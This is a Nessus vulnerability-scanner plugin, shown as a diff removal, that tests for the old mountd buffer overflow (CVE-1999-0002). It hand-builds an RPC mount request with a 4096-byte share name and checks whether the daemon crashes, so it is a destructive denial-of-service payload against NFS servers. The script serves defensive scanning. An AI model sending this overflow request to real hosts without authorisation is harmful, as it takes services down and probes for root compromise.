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-
- # An OOOOLD check.
-
- if(description)
- {
- script_id(11337);
- script_bugtraq_id(121);
- script_version ("$Revision: 1.5 $");
- script_cve_id("CVE-1999-0002");
-
- name["english"] = "mountd overflow";
- script_name(english:name["english"]);
-
- desc["english"] = "
- The remote mount daemon seems to be vulnerable
- to a buffer overflow when it receives a request for an
- oversized share.
-
- An attacker may use this flaw to gain root access
- on this host
-
- Risk factor : High";
-
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Overflows mountd";
- script_summary(english:summary["english"]);
-
- script_category(ACT_DESTRUCTIVE_ATTACK);
-
-
- script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2003 Renaud Deraison");
- family["english"] = "Gain root remotely";
- family["francais"] = "Passer root α distance";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("rpc_portmap.nasl");
- script_require_keys("rpc/portmap");
- exit(0);
- }
-
-
-
- include("misc_func.inc");
- include("nfs_func.inc");
-
-
- function naughty_mount(soc, share)
- {
- local_var pad, req, len, r, ret, i;
-
- pad = padsz(len:strlen(this_host_name()));
- len = 52 + strlen(this_host_name()) + pad;
-
- req = rpclong(val:rand()) +
- rpclong(val:0) +
- rpclong(val:2) +
- rpclong(val:100005) +
- rpclong(val:1) +
- rpclong(val:1) +
- rpclong(val:1) +
- rpclong(val:len) +
- rpclong(val:rand()) +
- rpclong(val:strlen(this_host_name())) +
- this_host_name() +
- rpcpad(pad:pad) +
- rpclong(val:0) +
- rpclong(val:0) +
- rpclong(val:7) +
- rpclong(val:0) +
- rpclong(val:2) +
- rpclong(val:3) +
- rpclong(val:4) +
- rpclong(val:5) +
- rpclong(val:20) +
- rpclong(val:31) +
- rpclong(val:0) +
- rpclong(val:0) +
- rpclong(val:0) +
-
- rpclong(val:strlen(share)) +
- share +
- rpcpad(pad:padsz(len:strlen(share)));
-
- send(socket:soc, data:req);
- r = recv(socket:soc, length:4096);
- if(!r) return 0;
- else return 1;
- }
-
- port = get_rpc_port(program:100005, protocol:IPPROTO_UDP);
- if ( ! port ) exit(0);
- soc = open_priv_sock_udp(dport:port);
-
-
- if(!soc)exit(0);
-
- if(naughty_mount(soc:soc, share:"/nessus") != 0)
- {
- naughty_mount(soc:soc, share:"/" + crap(4096));
- sleep(1);
- if(naughty_mount(soc:soc, share:"/nessus") == 0)
- security_hole(port);
- }
-